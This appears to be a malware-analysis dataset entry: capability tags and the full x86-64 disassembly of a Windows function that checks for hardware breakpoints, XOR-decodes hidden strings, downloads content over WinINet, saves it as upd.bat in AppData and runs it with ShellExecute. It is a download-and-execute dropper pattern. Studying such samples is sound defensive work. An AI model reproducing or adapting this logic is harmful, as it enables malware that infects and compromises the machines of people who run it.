Function at 0x140007d20
Capabilities:
Create http request
Create process on windows
Get common file path
Get http content length
Read data from internet
Receive data
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x6a0]
sub rsp, 0x7a0
mov rax, qword [0x140010040]
xor rax, rsp
mov qword [rbp + 0x690], rax
mov rbx, rdx
xor esi, esi
lea rdx, str._debug__getting_proxies..
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140009060
mov rcx, rax
lea rdx, [0x140009240]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x9c4
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.1400050b0
call fcn.140001980
call fcn.1400054c0
call fcn.140004950
call fcn.140002000
call fcn.140002980
mov rcx, qword [rbx + 8]
call fcn.1400062b0
xor edx, edx
mov r8d, 0x4d0
lea rcx, [rbp - 0x60]
call sub.VCRUNTIME140.dll_memset
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov dword [rbp - 0x30], 0x100010
lea rdx, [rbp - 0x60]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x140007eac
cmp qword [rbp - 0x18], rsi
jne 0x140007e0d
cmp qword [rbp - 0x10], rsi
jne 0x140007e0d
cmp qword [rbp - 8], rsi
jne 0x140007e0d
cmp qword [rbp], rsi
jne 0x140007e0d
cmp qword [rbp + 8], rsi
jne 0x140007e0d
cmp qword [rbp + 0x10], rsi
je 0x140007eac
call fcn.140007ba0
mov r9, rax
cmp byte [rax + 9], sil
jne 0x140007e92
mov rdx, rsi
nop
mov ecx, dword [r9 + 4]
mov r8d, dword [r9]
lea eax, [rcx + 1]
cmp r8d, eax
jne 0x140007e3b
inc cl
xor byte [r9 + rdx + 0xa], cl
inc dword [r9]
jmp 0x140007e20
lea eax, [rcx + 2]
cmp r8d, eax
jne 0x140007e50
add cl, 2
xor byte [r9 + rdx + 0xa], cl
inc dword [r9]
jmp 0x140007e20
cmp r8d, ecx
je 0x140007e7f
lea eax, [rcx + 4]
cmp r8d, eax
jne 0x140007e6a
add cl, 3
xor byte [r9 + rdx + 0xa], cl
inc dword [r9]
jmp 0x140007e20
lea eax, [rcx + 5]
cmp r8d, eax
jne 0x140007e87
add cl, 4
xor byte [r9 + rdx + 0xa], cl
inc dword [r9]
jmp 0x140007e20
lea eax, [rsi - 0x7e]
xor byte [r9 + rdx + 0xa], al
inc esi
movsxd rdx, esi
cmp rdx, 0x2b
jb 0x140007e20
mov byte [r9 + 9], 1
lea rdx, [r9 + 0xa]
call fcn.1400012a0
mov ecx, 0x2000
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call fcn.140007260
call fcn.1400076e0
lea rdx, str._debug__retrieving_proxies..
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140009060
mov rcx, rax
lea rdx, [0x140009240]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov r12, rsi
mov r13d, esi
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov r8d, 0xa0
mov edx, dword [r8 + rcx]
mov eax, 0x510
test dl, 1
jne 0x140007f91
or edx, 1
mov dword [r8 + rcx], edx
mov qword [rax + rcx], rsi
mov word [rax + rcx + 8], si
xorps xmm0, xmm0
xor edx, edx
movups xmmword [rax + rcx + 0xa], xmm0
movups xmmword [rax + rcx + 0x1a], xmm0
mov qword [rax + rcx + 0x2a], rdx
mov dword [rax + rcx + 0x32], edx
mov dword [rax + rcx + 0x34], 0xccce
mov dword [rax + rcx + 0xa], 0xf5f0f7ea
mov dword [rax + rcx + 0xe], 0xa6a7bdf5
mov dword [rax + rcx + 0x12], 0xe8e0e2ec
mov dword [rax + rcx + 0x16], 0xe3f1e8a0
mov dword [rax + rcx + 0x1a], 0xbafaf6f6
mov dword [rax + rcx + 0x1e], 0xc9e1e3cc
mov dword [rax + rcx + 0x22], 0xb0d4abe2
mov dword [rax + rcx + 0x26], 0xeed9f4d9
mov dword [rax + rcx + 0x2a], 0xc7ebcac6
mov dword [rax + rcx + 0x2e], 0xd1d8d289
mov word [rax + rcx + 0x32], 0x8598
mov word [rax + rcx + 0x36], 0xafda
lea r9, [rax + rcx]
mov edi, 1
cmp byte [r9 + 9], sil
jne 0x1400080a7
mov rdx, rsi
mov r8d, edi
nop word [rax + rax]
mov ecx, dword [r9 + 4]
mov r10d, dword [r9]
lea eax, [rcx + 1]
cmp r10d, eax
jne 0x140007fcb
inc cl
xor byte [r9 + rdx + 0xa], cl
inc dword [r9]
jmp 0x140007fb0
lea eax, [rcx + 2]
cmp r10d, eax
jne 0x140007fe0
add cl, 2
xor byte [r9 + rdx + 0xa], cl
inc dword [r9]
jmp 0x140007fb0
cmp r10d, ecx
je 0x14000800f
lea eax, [rcx + 4]
cmp r10d, eax
jne 0x140007ffa
add cl, 3
xor byte [r9 + rdx + 0xa], cl
inc dword [r9]
jmp 0x140007fb0
lea eax, [rcx + 5]
cmp r10d, eax
jne 0x140008020
add cl, 4
xor byte [r9 + rdx + 0xa], cl
inc dword [r9]
jmp 0x140007fb0
lea eax, [r8 - 0x7f]
xor byte [r9 + rdx + 0xa], al
nop dword [rax + rax]
mov ecx, dword [r9 + 4]
mov edx, dword [r9]
lea eax, [rcx + 1]
cmp edx, eax
jne 0x14000803d
inc cl
movsxd rax, r8d
xor byte [rax + r9 + 0xa], cl
inc dword [r9]
jmp 0x140008020
lea eax, [rcx + 2]
cmp edx, eax
jne 0x140008054
add cl, 2
movsxd rax, r8d
xor byte [rax + r9 + 0xa], cl
inc dword [r9]
jmp 0x140008020
cmp edx, ecx
je 0x140008086
lea eax, [rcx + 4]
cmp edx, eax
jne 0x14000806f
add cl, 3
movsxd rax, r8d
xor byte [rax + r9 + 0xa], cl
inc dword [r9]
jmp 0x140008020
lea eax, [rcx + 5]
cmp edx, eax
jne 0x140008092
add cl, 4
movsxd rax, r8d
xor byte [rax + r9 + 0xa], cl
inc dword [r9]
jmp 0x140008020
movsxd rcx, r8d
lea eax, [r8 - 0x7e]
xor byte [rcx + r9 + 0xa], al
add r8d, 2
lea eax, [r8 - 1]
movsxd rdx, eax
cmp rdx, 0x2e
jb 0x140007fb0
mov byte [r9 + 9], dil
lea rdx, [r9 + 0xa]
lea rcx, [rsp + 0x50]
call fcn.140008c70
nop
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
mov edx, edi
lea rcx, str.User_Agent
call qword [sym.imp.WININET.dll_InternetOpenA]
mov r14, rax
test rax, rax
je 0x140008119
lea rdx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0xf
cmova rdx, qword [rsp + 0x50]
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov r15, rax
test rax, rax
jne 0x140008162
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov bl, 1
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x1400081ea
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400081e5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400081e5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov dword [rsp + 0x70], esi
mov dword [rsp + 0x78], 4
mov qword [rsp + 0x20], rsi
lea r9, [rsp + 0x78]
lea r8, [rsp + 0x70]
mov edx, 0x20000005
mov rcx, r15
call qword [sym.imp.WININET.dll_HttpQueryInfoA]
mov ecx, dword [rsp + 0x70]
call fcn.14000aa70
mov r12, rax
mov r13d, dword [rsp + 0x70]
mov dword [rsp + 0x74], esi
lea r9, [rsp + 0x74]
mov r8d, r13d
mov rdx, rax
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetReadFile]
mov ebx, eax
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
test ebx, ebx
je 0x140008119
mov eax, dword [rsp + 0x70]
cmp dword [rsp + 0x74], eax
jne 0x140008119
xor bl, bl
jmp 0x14000811b
call fcn.14000aa00
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x68], 0xf
mov byte [rsp + 0x50], 0
test bl, bl
je 0x140008208
mov eax, edi
jmp 0x1400089eb
lea rax, [rbp + 0x470]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x1a
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x48], rsi
lea rax, [rbp + 0x470]
mov rbx, 0xffffffffffffffff
inc rbx
cmp byte [rax + rbx], 0
jne 0x140008247
movabs r15, 0x7fffffffffffffff
cmp rbx, r15
ja 0x140008a1b
cmp rbx, 0xf
ja 0x140008295
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], 0xf
mov r8, rbx
lea rdx, [rbp + 0x470]
lea rcx, [rsp + 0x30]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsp + rbx + 0x30], 0
jmp 0x140008334
mov rax, rbx
or rax, 0xf
cmp rax, r15
jbe 0x1400082ca
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.14000aa08
test rax, rax
je 0x1400082ff
lea r14, [rax + 0x27]
and r14, 0xffffffffffffffe0
mov qword [r14 - 8], rax
jmp 0x14000830e
mov ecx, 0x16
cmp rax, rcx
cmovb rax, rcx
mov r15, rax
lea rcx, [rax + 1]
test rcx, rcx
jne 0x1400082e7
mov r14, rsi
jmp 0x14000830e
cmp rcx, 0x1000
jb 0x140008306
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140008a21
jmp 0x1400082af
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000aa08
mov r14, rax
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], r15
mov r8, rbx
lea rdx, [rbp + 0x470]
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbx + r14], 0
mov rdx, qword [rsp + 0x40]
mov r8, qword [rsp + 0x48]
mov rax, r8
sub rax, rdx
lea rcx, [rsp + 0x30]
cmp rax, 8
jb 0x140008379
lea rax, [rdx + 8]
mov qword [rsp + 0x40], rax
cmp r8, 0xf
cmova rcx, qword [rsp + 0x30]
mov rax, qword [str.upd.bat]
mov qword [rdx + rcx], rax
mov byte [rdx + rcx + 8], 0
lea rax, [rsp + 0x30]
jmp 0x14000838c
mov qword [rsp + 0x20], 8
mov edx, 8
call fcn.140009280
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], rsi
mov qword [rbp - 0x68], rsi
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x70], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x1400083f9
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400083f4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400083f4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000aa00
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], 0
mov r8d, 0x104
lea rdx, [rbp + 0x580]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0xf
cmova rdx, qword [rbp - 0x80]
lea rcx, [rbp + 0x580]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x140008507
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp - 0x60]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0xf
cmova rdx, qword [rbp - 0x80]
lea rcx, [rbp - 0x60]
call fcn.14000a4e0
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x60], rax
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx - 0x64], edx
cmp qword [rbp + 0x28], 0
je 0x1400084fe
mov r8d, r13d
mov rdx, r12
lea rcx, [rbp - 0x60]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp - 0x58]
call fcn.14000a420
test rax, rax
jne 0x1400084d4
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x60]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
lea r8, [rbp - 0x80]
cmp qword [rbp - 0x68], 0xf
cmova r8, qword [rbp - 0x80]
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rsi
xor r9d, r9d
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
nop
lea rcx, [rbp - 0x60]
call fcn.140009540
mov rcx, r12
call fcn.14000aa00
mov rax, qword gs:[0x58]
mov r9, qword [rax]
mov ecx, 0x2e0
mov eax, dword [rcx + r9]
mov r8d, 0x2c8
mov r10d, 0xff88
test al, 1
jne 0x140008566
or eax, 1
mov dword [rcx + r9], eax
mov qword [r8 + r9], rsi
mov word [r8 + r9 + 8], si
mov byte [r8 + r9 + 0xa], 0
mov dword [r8 + r9 + 0xc], 0xfff6ffc6
mov dword [r8 + r9 + 0x10], 0xffe9fff7
mov dword [r8 + r9 + 0x14], 0xff88fff5
cmp byte [r8 + r9 + 0xa], 0
jne 0x14000886e
nop dword [rax]
nop word [rax + rax]
mov ecx, dword [r8 + r9 + 4]
mov edx, dword [r8 + r9]
lea eax, [rcx + 1]
cmp edx, eax
jne 0x1400085a2
inc cx
xor word [r8 + r9 + 0xc], cx
lea eax, [rdx + 1]
mov dword [r8 + r9], eax
jmp 0x140008580
lea eax, [rcx + 2]
cmp edx, eax
jne 0x1400085bc
add cx, 2
xor word [r8 + r9 + 0xc], cx
lea eax, [rdx + 1]
mov dword [r8 + r9], eax
jmp 0x140008580
cmp edx, ecx
je 0x1400085f4
lea eax, [rcx + 4]
cmp edx, eax
jne 0x1400085da
add cx, 3
xor word [r8 + r9 + 0xc], cx
lea eax, [rdx + 1]
mov dword [r8 + r9], eax
jmp 0x140008580
lea eax, [rcx + 5]
cmp edx, eax
jne 0x140008600
add cx, 4
xor word [r8 + r9 + 0xc], cx
lea eax, [rdx + 1]
mov dword [r8 + r9], eax
jmp 0x140008580
mov eax, 0xff83
xor word [r8 + r9 + 0xc], ax
nop
mov ecx, dword [r8 + r9 + 4]
lea eax, [rcx + 1]
cmp edx, eax
jne 0x14000861f
inc cx
xor word [r8 + r9 + 0xe], cx
inc dword [r8 + r9]
mov edx, dword [r8 + r9]
jmp 0x140008600
lea eax, [rcx + 2]
cmp edx, eax
jne 0x14000863a
add cx, 2
xor word [r8 + r9 + 0xe], cx
inc dword [r8 + r9]
mov edx, dword [r8 + r9]
jmp 0x140008600
cmp edx, ecx
je 0x140008674
lea eax, [rcx + 4]
cmp edx, eax
jne 0x140008659
add cx, 3
xor word [r8 + r9 + 0xe], cx
inc dword [r8 + r9]
mov edx, dword [r8 + r9]
jmp 0x140008600
lea eax, [rcx + 5]
cmp edx, eax
jne 0x140008680
add cx, 4
xor word [r8 + r9 + 0xe], cx
inc dword [r8 + r9]
mov edx, dword [r8 + r9]
jmp 0x140008600
mov eax, 0xff84
xor word [r8 + r9 + 0xe], ax
nop
mov ecx, dword [r8 + r9 + 4]
mov edx, dword [r8 + r9]
lea eax, [rcx + 1]
cmp edx, eax
jne 0x14000869f
inc cx
xor word [r8 + r9 + 0x10], cx
inc dword [r8 + r9]
jmp 0x140008680
lea eax, [rcx + 2]
cmp edx, eax
jne 0x1400086b6
add cx, 2
xor word [r8 + r9 + 0x10], cx
inc dword [r8 + r9]
jmp 0x140008680
cmp edx, ecx
je 0x1400086e8
lea eax, [rcx + 4]
cmp edx, eax
jne 0x1400086d1
add cx, 3
xor word [r8 + r9 + 0x10], cx
inc dword [r8 + r9]
jmp 0x140008680
lea eax, [rcx + 5]
cmp edx, eax
jne 0x140008700
add cx, 4
xor word [r8 + r9 + 0x10], cx
inc dword [r8 + r9]
jmp 0x140008680
mov eax, 0xff85
xor word [r8 + r9 + 0x10], ax
nop dword [rax]
nop word [rax + rax]
mov ecx, dword [r8 + r9 + 4]
mov edx, dword [r8 + r9]
lea eax, [rcx + 1]
cmp edx, eax
jne 0x14000871f
inc cx
xor word [r8 + r9 + 0x12], cx
inc dword [r8 + r9]
jmp 0x140008700
lea eax, [rcx + 2]
cmp edx, eax
jne 0x140008736
add cx, 2
xor word [r8 + r9 + 0x12], cx
inc dword [r8 + r9]
jmp 0x140008700
cmp edx, ecx
je 0x140008768
lea eax, [rcx + 4]
cmp edx, eax
jne 0x140008751
add cx, 3
xor word [r8 + r9 + 0x12], cx
inc dword [r8 + r9]
jmp 0x140008700
lea eax, [rcx + 5]
cmp edx, eax
jne 0x140008780
add cx, 4
xor word [r8 + r9 + 0x12], cx
inc dword [r8 + r9]
jmp 0x140008700
mov eax, 0xff86
xor word [r8 + r9 + 0x12], ax
nop dword [rax]
nop word [rax + rax]
mov ecx, dword [r8 + r9 + 4]
mov edx, dword [r8 + r9]
lea eax, [rcx + 1]
cmp edx, eax
jne 0x14000879f
inc cx
xor word [r8 + r9 + 0x14], cx
inc dword [r8 + r9]
jmp 0x140008780
lea eax, [rcx + 2]
cmp edx, eax
jne 0x1400087b6
add cx, 2
xor word [r8 + r9 + 0x14], cx
inc dword [r8 + r9]
jmp 0x140008780
cmp edx, ecx
je 0x1400087e8
lea eax, [rcx + 4]
cmp edx, eax
jne 0x1400087d1
add cx, 3
xor word [r8 + r9 + 0x14], cx
inc dword [r8 + r9]
jmp 0x140008780
lea eax, [rcx + 5]
cmp edx, eax
jne 0x140008800
add cx, 4
xor word [r8 + r9 + 0x14], cx
inc dword [r8 + r9]
jmp 0x140008780
mov eax, 0xff87
xor word [r8 + r9 + 0x14], ax
nop dword [rax]
nop word [rax + rax]
mov ecx, dword [r8 + r9 + 4]
mov edx, dword [r8 + r9]
lea eax, [rcx + 1]
cmp edx, eax
jne 0x14000881f
inc cx
xor word [r8 + r9 + 0x16], cx
inc dword [r8 + r9]
jmp 0x140008800
lea eax, [rcx + 2]
cmp edx, eax
jne 0x140008836
add cx, 2
xor word [r8 + r9 + 0x16], cx
inc dword [r8 + r9]
jmp 0x140008800
cmp edx, ecx
je 0x140008868
lea eax, [rcx + 4]
cmp edx, eax
jne 0x140008851
add cx, 3
xor word [r8 + r9 + 0x16], cx
inc dword [r8 + r9]
jmp 0x140008800
lea eax, [rcx + 5]
cmp edx, eax
jne 0x14000886e
add cx, 4
xor word [r8 + r9 + 0x16], cx
inc dword [r8 + r9]
jmp 0x140008800
xor word [r8 + r9 + 0x16], r10w
mov byte [r8 + r9 + 0xa], 1
lea r10, [r8 + r9]
call fcn.140008a30
mov r8, rax
cmp byte [rax + 0xa], 0
jne 0x14000898f
nop word [rax + rax]
mov ecx, dword [r8 + 4]
mov edx, dword [r8]
lea eax, [rcx + 1]
cmp edx, eax
jne 0x1400088ac
inc cx
xor word [r8 + rsi*2 + 0xc], cx
inc dword [r8]
jmp 0x140008890
lea eax, [rcx + 2]
cmp edx, eax
jne 0x1400088c2
add cx, 2
xor word [r8 + rsi*2 + 0xc], cx
inc dword [r8]
jmp 0x140008890
cmp edx, ecx
je 0x1400088f2
lea eax, [rcx + 4]
cmp edx, eax
jne 0x1400088dc
add cx, 3
xor word [r8 + rsi*2 + 0xc], cx
inc dword [r8]
jmp 0x140008890
lea eax, [rcx + 5]
cmp edx, eax
jne 0x140008900
add cx, 4
xor word [r8 + rsi*2 + 0xc], cx
inc dword [r8]
jmp 0x140008890
lea eax, [rdi - 0x7e]
xor word [r8 + rsi*2 + 0xc], ax
nop dword [rax + rax]
mov ecx, dword [r8 + 4]
mov edx, dword [r8]
lea eax, [rcx + 1]
cmp edx, eax
jne 0x14000891f
inc cx
movsxd rax, edi
xor word [r8 + rax*2 + 0xc], cx
inc dword [r8]
jmp 0x140008900
lea eax, [rcx + 2]
cmp edx, eax
jne 0x140008938
add cx, 2
movsxd rax, edi
xor word [r8 + rax*2 + 0xc], cx
inc dword [r8]
jmp 0x140008900
cmp edx, ecx
je 0x14000896e
lea eax, [rcx + 4]
cmp edx, eax
jne 0x140008955
add cx, 3
movsxd rax, edi
xor word [r8 + rax*2 + 0xc], cx
inc dword [r8]
jmp 0x140008900
lea eax, [rcx + 5]
cmp edx, eax
jne 0x14000897c
add cx, 4
movsxd rax, edi
xor word [r8 + rax*2 + 0xc], cx
inc dword [r8]
jmp 0x140008900
movsxd rax, edi
lea rcx, [r8 + rax*2]
lea eax, [rdi - 0x7d]
xor word [rcx + 0xc], ax
add edi, 2
lea eax, [rdi - 1]
movsxd rsi, eax
cmp rsi, 0x2e
jb 0x140008890
mov byte [r8 + 0xa], 1
lea rdx, [r8 + 0xc]
mov r9d, 0x10
lea r8, [r10 + 0xc]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x1400089e9
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400089e4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400089e4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000aa00
xor eax, eax
mov rcx, qword [rbp + 0x690]
xor rcx, rsp
call fcn.14000a9e0
lea r11, [rsp + 0x7a0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140001280
int3
call fcn.1400011e0
int3